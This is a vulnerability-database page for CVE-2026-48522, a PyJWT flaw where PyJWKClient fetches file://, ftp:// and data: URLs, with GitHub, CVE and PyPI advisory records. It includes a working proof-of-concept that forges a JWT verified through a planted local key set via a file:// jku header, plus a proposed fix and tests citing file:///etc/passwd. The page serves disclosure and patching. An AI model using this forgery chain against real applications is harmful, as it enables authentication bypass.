Vulnerability-Lookup

GHSA-993G-76C3-P5M4

Vulnerability from github – Published: 2026-06-15 19:28 – Updated: 2026-06-15 19:28

Summary

PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes

Details

[!NOTE] The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.

Summary

PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch.

If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:

Cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem) — the file's contents are passed to json.load.
Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).
Forge tokens that PyJWT verifies as valid — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and jwt.decode() accepts.

Affected versions

Tested and reproducible on PyJWT 2.11.0 and 2.12.1. Likely all versions back to PyJWKClient introduction.

Reproducer (full attack chain — verified empirically)

import jwt as pyjwt
from jwt import PyJWKClient
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json, base64, time

# Attacker generates keypair (no relation to real IdP)
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub_n = key.public_key().public_numbers().n

def b64u(n):
    bl = (n.bit_length() + 7) // 8
    return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()

# Attacker writes JWK Set containing their public key to /tmp
jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256",
                  "n":b64u(pub_n),"e":"AQAB"}]}
with open("/tmp/attacker.json","w") as f:
    json.dump(jwks, f)

# Attacker mints token signed with their private key, jku=file://
priv_pem = key.private_bytes(serialization.Encoding.PEM,
    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
now = int(time.time())
token = pyjwt.encode(
    {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600},
    priv_pem, algorithm="RS256",
    headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})

# Vulnerable application pattern: caller derives jku from token header
# and passes to PyJWKClient without scheme validation
header = pyjwt.get_unverified_header(token)
client = PyJWKClient(header["jku"])      # <-- accepts file:// silently
key_obj = client.get_signing_key_from_jwt(token)
decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"],
                       audience="target-app")
print("Token verified:", decoded)
# Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}

Cross-library evidence — PyJWT is the outlier

The same composition pattern is structurally safe in 4 other mainstream JWT libraries:

Library	Behavior on `jku=file://...`	Mechanism
PyJWT 2.12.1 (Python)	Reads file from disk, parses, uses for signature verification	urllib default OpenerDirector includes FileHandler
panva/jose 6.2.3 (Node.js)	Refuses pre-fetch	WHATWG `fetch()` rejects non-http(s) at fetch-spec layer
golang-jwt + MicahParks/keyfunc v3.4.0 (Go)	Refuses pre-fetch	`http.DefaultTransport` only registers http/https
Microsoft.IdentityModel.Tokens 8.18.0 (.NET)	Refuses pre-fetch	`HttpDocumentRetriever` defaults `RequireHttps=true`
Spring Security NimbusJwtDecoder 6.3.4 (Java)	Refuses pre-fetch	URI parser delegation refuses non-http(s) at request build

PyJWT is the only library of these 5 where the default behavior allows file:// to reach the fetch layer.

Recommended fix

Add allowed_schemes: tuple[str, ...] = ("https", "http") kwarg to PyJWKClient.__init__. Pre-validate URL scheme before invoking urllib.request.urlopen. URLs with disallowed schemes raise PyJWKClientError before any fetch is attempted.

Diff sketch against `jwt/jwks_client.py`

def __init__(
    self, uri: str,
    cache_keys: bool = False, max_cached_keys: int = 16,
    cache_jwk_set: bool = True, lifespan: float = 300,
    headers: dict[str, Any] | None = None, timeout: float = 30,
    ssl_context: SSLContext | None = None,
    allowed_schemes: tuple[str, ...] = ("https", "http"),  # NEW
):
    """...
    :param allowed_schemes: URL schemes the JWKS endpoint is permitted
        to use. Default ``("https", "http")``. Pass ``("https",)`` for
        HTTPS-only operation. URLs with disallowed schemes raise
        ``PyJWKClientError`` before any fetch is attempted.
    """
    # ... existing init code ...
    self.allowed_schemes = allowed_schemes
    self._validate_uri_scheme()


def _validate_uri_scheme(self) -> None:
    """Reject the configured URI early if its scheme isn't allowed."""
    from urllib.parse import urlparse
    parsed = urlparse(self.uri)
    scheme = parsed.scheme.lower()
    if not scheme:
        raise PyJWKClientError(
            f"PyJWKClient URI '{self.uri}' has no scheme; expected one of "
            f"{self.allowed_schemes!r}")
    if scheme not in self.allowed_schemes:
        raise PyJWKClientError(
            f"PyJWKClient URI scheme '{scheme}' is not in allowed_schemes "
            f"{self.allowed_schemes!r}; refusing to fetch from this URL")

Tests to add

def test_pyjwkclient_rejects_file_scheme():
    with pytest.raises(PyJWKClientError, match="not in allowed_schemes"):
        PyJWKClient("file:///etc/passwd")

def test_pyjwkclient_rejects_ftp_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("ftp://example.org/keys.json")

def test_pyjwkclient_rejects_data_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient('data:application/json,{"keys":[]}')

def test_pyjwkclient_caller_can_lock_to_https_only():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("http://internal.test/jwks.json", allowed_schemes=("https",))

Compatibility

Default allowed_schemes=("https", "http") preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints
Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)
No changes to urllib fetch logic itself — the fix is a pre-validation gate

Class precedent

This is the same class as CVE-2024-21643 (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.

Prior art (verified 2026-05-06)

Confirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):

No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling
No existing GitHub issue or PR addressing scheme allowlisting
No silent fix in CHANGELOG through 2.12.1
5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) — none cover this class

Credit

Reported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech).

Reproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.

Severity

4.2 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.12.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "PyJWT"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48522"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T19:28:41Z",
    "nvd_published_at": "2026-05-28T16:16:29Z",
    "severity": "MODERATE"
  },
  "details": "\u003e [!NOTE]\n\u003e The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.\n\n## Summary\n\nPyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib\u0027s default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch.\n\nIf an application\u0027s `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:\n\n1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) \u2014 the file\u0027s contents are passed to `json.load`.\n2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).\n3. **Forge tokens that PyJWT verifies as valid** \u2014 if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts.\n\n## Affected versions\n\nTested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction.\n\n## Reproducer (full attack chain \u2014 verified empirically)\n\n```python\nimport jwt as pyjwt\nfrom jwt import PyJWKClient\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nimport json, base64, time\n\n# Attacker generates keypair (no relation to real IdP)\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub_n = key.public_key().public_numbers().n\n\ndef b64u(n):\n    bl = (n.bit_length() + 7) // 8\n    return base64.urlsafe_b64encode(n.to_bytes(bl, \u0027big\u0027)).rstrip(b\u0027=\u0027).decode()\n\n# Attacker writes JWK Set containing their public key to /tmp\njwks = {\"keys\":[{\"kty\":\"RSA\",\"kid\":\"attacker\",\"use\":\"sig\",\"alg\":\"RS256\",\n                  \"n\":b64u(pub_n),\"e\":\"AQAB\"}]}\nwith open(\"/tmp/attacker.json\",\"w\") as f:\n    json.dump(jwks, f)\n\n# Attacker mints token signed with their private key, jku=file://\npriv_pem = key.private_bytes(serialization.Encoding.PEM,\n    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())\nnow = int(time.time())\ntoken = pyjwt.encode(\n    {\"sub\":\"attacker\",\"aud\":\"target-app\",\"iat\":now,\"exp\":now+3600},\n    priv_pem, algorithm=\"RS256\",\n    headers={\"kid\":\"attacker\",\"jku\":\"file:///tmp/attacker.json\",\"typ\":\"JWT\"})\n\n# Vulnerable application pattern: caller derives jku from token header\n# and passes to PyJWKClient without scheme validation\nheader = pyjwt.get_unverified_header(token)\nclient = PyJWKClient(header[\"jku\"])      # \u003c-- accepts file:// silently\nkey_obj = client.get_signing_key_from_jwt(token)\ndecoded = pyjwt.decode(token, key_obj.key, algorithms=[\"RS256\"],\n                       audience=\"target-app\")\nprint(\"Token verified:\", decoded)\n# Output: Token verified: {\u0027sub\u0027: \u0027attacker\u0027, \u0027aud\u0027: \u0027target-app\u0027, ...}\n```\n\n## Cross-library evidence \u2014 PyJWT is the outlier\n\nThe same composition pattern is structurally safe in 4 other mainstream JWT libraries:\n\n| Library | Behavior on `jku=file://...` | Mechanism |\n|---|---|---|\n| **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler |\n| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer |\n| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https |\n| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` |\n| Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |\n\nPyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer.\n\n## Recommended fix\n\nAdd `allowed_schemes: tuple[str, ...] = (\"https\", \"http\")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted.\n\n### Diff sketch against `jwt/jwks_client.py`\n\n```python\ndef __init__(\n    self, uri: str,\n    cache_keys: bool = False, max_cached_keys: int = 16,\n    cache_jwk_set: bool = True, lifespan: float = 300,\n    headers: dict[str, Any] | None = None, timeout: float = 30,\n    ssl_context: SSLContext | None = None,\n    allowed_schemes: tuple[str, ...] = (\"https\", \"http\"),  # NEW\n):\n    \"\"\"...\n    :param allowed_schemes: URL schemes the JWKS endpoint is permitted\n        to use. Default ``(\"https\", \"http\")``. Pass ``(\"https\",)`` for\n        HTTPS-only operation. URLs with disallowed schemes raise\n        ``PyJWKClientError`` before any fetch is attempted.\n    \"\"\"\n    # ... existing init code ...\n    self.allowed_schemes = allowed_schemes\n    self._validate_uri_scheme()\n\n\ndef _validate_uri_scheme(self) -\u003e None:\n    \"\"\"Reject the configured URI early if its scheme isn\u0027t allowed.\"\"\"\n    from urllib.parse import urlparse\n    parsed = urlparse(self.uri)\n    scheme = parsed.scheme.lower()\n    if not scheme:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI \u0027{self.uri}\u0027 has no scheme; expected one of \"\n            f\"{self.allowed_schemes!r}\")\n    if scheme not in self.allowed_schemes:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI scheme \u0027{scheme}\u0027 is not in allowed_schemes \"\n            f\"{self.allowed_schemes!r}; refusing to fetch from this URL\")\n```\n\n### Tests to add\n\n```python\ndef test_pyjwkclient_rejects_file_scheme():\n    with pytest.raises(PyJWKClientError, match=\"not in allowed_schemes\"):\n        PyJWKClient(\"file:///etc/passwd\")\n\ndef test_pyjwkclient_rejects_ftp_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"ftp://example.org/keys.json\")\n\ndef test_pyjwkclient_rejects_data_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\u0027data:application/json,{\"keys\":[]}\u0027)\n\ndef test_pyjwkclient_caller_can_lock_to_https_only():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"http://internal.test/jwks.json\", allowed_schemes=(\"https\",))\n```\n\n### Compatibility\n\n- Default `allowed_schemes=(\"https\", \"http\")` preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints\n- Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)\n- No changes to urllib fetch logic itself \u2014 the fix is a pre-validation gate\n\n## Class precedent\n\nThis is the same class as **CVE-2024-21643** (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.\n\n## Prior art (verified 2026-05-06)\n\nConfirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):\n\n- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling\n- No existing GitHub issue or PR addressing scheme allowlisting\n- No silent fix in CHANGELOG through 2.12.1\n- 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) \u2014 none cover this class\n\n## Credit\n\nReported by Keijo Tuominen \u2014 independent security research at CMHT.tech (https://cmht.tech).\n\nReproduction artifacts available on request: full multi-language probe pack (5 wrappers \u00d7 25 fixtures \u00d7 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.",
  "id": "GHSA-993g-76c3-p5m4",
  "modified": "2026-06-15T19:28:41Z",
  "published": "2026-06-15T19:28:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-993g-76c3-p5m4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48522"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-175.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes"
}

CVE-2026-48522 (GCVE-0-2026-48522)

Vulnerability from cvelistv5 – Published: 2026-05-28 15:00 – Updated: 2026-06-02 15:47

Title

PyJWKClient: missing scheme allowlist enables SSRF + token forgery via file://, ftp://, data: schemes

Summary

PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem), cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface), or forge tokens that PyJWT verifies as valid. The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. This vulnerability is fixed in 2.13.0.

Severity

4.2 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-441 - Unintended Proxy or Intermediary ('Confused Deputy')
CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/jpadilla/pyjwt/security/adviso…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
jpadilla	pyjwt	Affected: < 2.13.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-48522",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-02T15:47:07.542817Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-06-02T15:47:49.649Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-993g-76c3-p5m4"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "pyjwt",
          "vendor": "jpadilla",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.13.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib\u0027s default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application\u0027s jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem), cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface), or forge tokens that PyJWT verifies as valid. The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. This vulnerability is fixed in 2.13.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 4.2,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-441",
              "description": "CWE-441: Unintended Proxy or Intermediary (\u0027Confused Deputy\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-28T15:00:30.186Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-993g-76c3-p5m4",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-993g-76c3-p5m4"
        }
      ],
      "source": {
        "advisory": "GHSA-993g-76c3-p5m4",
        "discovery": "UNKNOWN"
      },
      "title": "PyJWKClient: missing scheme allowlist enables SSRF + token forgery via file://, ftp://, data: schemes"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-48522",
    "datePublished": "2026-05-28T15:00:30.186Z",
    "dateReserved": "2026-05-21T16:18:10.619Z",
    "dateUpdated": "2026-06-02T15:47:49.649Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

PYSEC-2026-175

Vulnerability from pysec - Published: 2026-05-28 16:16 - Updated: 2026-06-02 10:34

Details

Severity

4.2 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

Impacted products

Name	purl
pyjwt	pkg:pypi/pyjwt

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {},
      "package": {
        "ecosystem": "PyPI",
        "name": "pyjwt",
        "purl": "pkg:pypi/pyjwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.1",
        "0.1.2",
        "0.1.3",
        "0.1.4",
        "0.1.5",
        "0.1.6",
        "0.1.7",
        "0.1.8",
        "0.1.9",
        "0.2.0",
        "0.2.1",
        "0.2.3",
        "0.3.0",
        "0.3.1",
        "0.3.2",
        "0.4.0",
        "0.4.1",
        "0.4.2",
        "0.4.3",
        "1.0.0",
        "1.0.1",
        "1.1.0",
        "1.3.0",
        "1.4.0",
        "1.4.1",
        "1.4.2",
        "1.5.0",
        "1.5.1",
        "1.5.2",
        "1.5.3",
        "1.6.0",
        "1.6.1",
        "1.6.3",
        "1.6.4",
        "1.7.0",
        "1.7.1",
        "2.0.0",
        "2.0.0a1",
        "2.0.0a2",
        "2.0.1",
        "2.1.0",
        "2.10.0",
        "2.10.1",
        "2.11.0",
        "2.12.0",
        "2.12.1",
        "2.2.0",
        "2.3.0",
        "2.4.0",
        "2.5.0",
        "2.6.0",
        "2.7.0",
        "2.8.0",
        "2.9.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48522",
    "GHSA-993g-76c3-p5m4"
  ],
  "details": "PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib\u0027s default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch. If an application\u0027s jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem), cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface), or forge tokens that PyJWT verifies as valid. The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. This vulnerability is fixed in 2.13.0.",
  "id": "PYSEC-2026-175",
  "modified": "2026-06-02T10:34:20.846008Z",
  "published": "2026-05-28T16:16:29.150Z",
  "references": [
    {
      "type": "EVIDENCE",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-993g-76c3-p5m4"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-993G-76C3-P5M4

Summary

Affected versions

Reproducer (full attack chain — verified empirically)

Cross-library evidence — PyJWT is the outlier

Recommended fix

Diff sketch against jwt/jwks_client.py

Tests to add

Compatibility

Class precedent

Prior art (verified 2026-05-06)

Credit

CVE-2026-48522 (GCVE-0-2026-48522)

PYSEC-2026-175

Tags

Sightings

Nomenclature

Diff sketch against `jwt/jwks_client.py`